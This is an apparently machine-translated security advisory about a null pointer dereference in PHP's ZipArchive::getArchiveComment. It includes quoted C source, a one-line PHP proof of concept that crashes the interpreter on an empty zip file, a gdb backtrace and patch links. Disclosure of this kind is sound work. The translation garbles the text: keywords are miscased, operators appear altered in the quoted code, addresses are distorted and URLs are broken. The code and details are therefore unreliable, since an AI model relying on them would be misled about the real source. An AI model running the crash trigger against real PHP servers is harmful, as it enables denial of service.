Affected Versions:
PHP 5.3.3
PHP 5.2.14
Vulnerability description:
PHP is a widely used scripting language. It is especially suitable for Web development and can be embedded into HTML.
The ZipArchive library allows transparent reading and writing of ZIP compressed files and their files. For the ZipArchive: getArchiveComment function used in PHP:
----
1945 static ZIPARCHIVE_METHOD (getArchiveComment)
1946 {
1947 struct zip * intern;
1948 zval * this = getThis ();
1949 long flags = 0;
1950 const char * comment;
1951 int comment_len = 0;
1952
1953 if (! This ){
1954 RETURN_FALSE;
1955}
1956
1957 ZIP_FROM_OBJECT (intern, this );
1958
1959 if (zend_parse_parameters (ZEND_NUM_ARGS () TSRMLS_CC, "| l", & flags)
= FAILURE ){
1960 return;
1961}
1962
1963 comment = zip_get_archive_comment (intern, & comment_len,
(Int) flags); <=== return null and-1
1964 RETURN_STRINGL (char *) comment, (long) comment_len, 1); <=== NULL
POINTER DEFERENCE HERE
1965}
----
This method returns a string from the zip_get_archive_comment () function. In this function:
----
40 ZIP_EXTERN (const char *)
41 zip_get_archive_comment (struct zip * za, int * lenp, int flags)
42 {
43 if (flags & ZIP_FL_UNCHANGED)
44 | (za-> ch_comment_len =-1 )){
45 if (za-> cdir ){
46 if (lenp! = NULL)
47 * lenp = za-> cdir-> comment_len;
48 return za-> cdir-> comment;
49}
50 else {
51 if (lenp! = NULL)
52 * lenp =-1; <=================================-1
53 return NULL; <=============================== NULL
54}
55}
56
57 if (lenp! = NULL)
58 * lenp = za-> ch_comment_len;
59 return za-> ch_comment;
60}
----
Rows 52 and 53 should return NULL pointers and (int)-1. RETURN_STRINGL () is executed in the result as follows ():
RETURN_STRINGL (NULL,-1, 1 );
Memcpy (3) may crash. <* Reference
Makers (max@jestsuper.pl)
Http://marc.info /? L = full-disclosure & m = 128906971829229 & w = 2
*>
Test method:
Cx @ cx64:/www $ touch empty.zip
Cx @ cx64:/www $ php-r $ zip = new
ZipArchive; $ zip-> open ("./empty.zip"); $ zip-> getArchiveComment ();
Segmentation fault
Debug:
Cx @ cx64:/www $ gdb-q php
Reading symbols from/usr/bin/php... (no debugging symbols found)... done.
(Gdb) r-r $ zip = new
ZipArchive; $ zip-> open ("./empty.zip"); $ zip-> getArchiveComment ();
Starting program:/usr/bin/php-r $ zip = new
ZipArchive; $ zip-> open ("./empty.zip"); $ zip-> getArchiveComment ();
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff530edbb in memcpy () from/lib/libc. so.6
(Gdb) bt
#0 0x00007ff530edbb in memcpy () from/lib/libc. so.6
#1 0x00000000000000679fa8 in _ estrndup ()
#2 0x000000000000006371e5 in ?? ()
#3 0x000000000000006e793a in ?? ()
#4 0x000000000000006bec20 in execute ()
#5 0x0000000000000068b44a in zend_eval_stringl ()
#6 0x000000000068b5c9 in zend_eval_stringl_ex ()
#7 0x000000000072743e in ?? ()
#8 0x00007ffff52a6c4d in _ libc_start_main () from/lib/libc. so.6
#9 0x000000000042c6a9 in _ start ()
(Gdb) x/I $ rip
=> 0x7ffff530edbb <memcpy + 347>: rep movsq % ds :( % rsi), % es :( % rdi)
(Gdb) x/x $ rsi
0x0: Cannot access memory at address 0x0
(Gdb) x/x $ rbp
0 xffffffff: Cannot access memory at address 0 xffffffff
Fix: vendor patch:
PHP
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
PHP_5_3/ext/zip/php_zip.c? View = log "> http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c? View = log
Http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c? View = log